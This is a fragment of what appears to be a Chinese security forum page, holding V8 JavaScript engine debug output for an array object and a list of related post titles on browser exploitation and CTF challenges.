(PACKED_ELEMENTS)> [FastProperties]
-
prototype:
0x0003238d1111
<JSArray[
0
]>
-
elements:
0x217d8930e991
<FixedArray[
2
]> [PACKED_ELEMENTS]
-
length:
2
-
properties:
0x1aa8b4cc0c71
<FixedArray[
0
]> {
#length: 0x347bb83401a9 <AccessorInfo> (const accessor descriptor)
}
-
elements:
0x217d8930e991
<FixedArray[
2
]> {
0
:
0x217d8930e921
<JSArray[
4
]>
1
:
0x217d8930e941
<
Object
map
=
0x23018420ab39
>
赞赏
- browser pwn入门(二) 9597
- browser pwn入门(一) 11257
- [原创]华为杯研究生国赛 adv_lua 10227
- [原创]2022QWB final RDP 9882
- RWCTF5TH shellfind 9571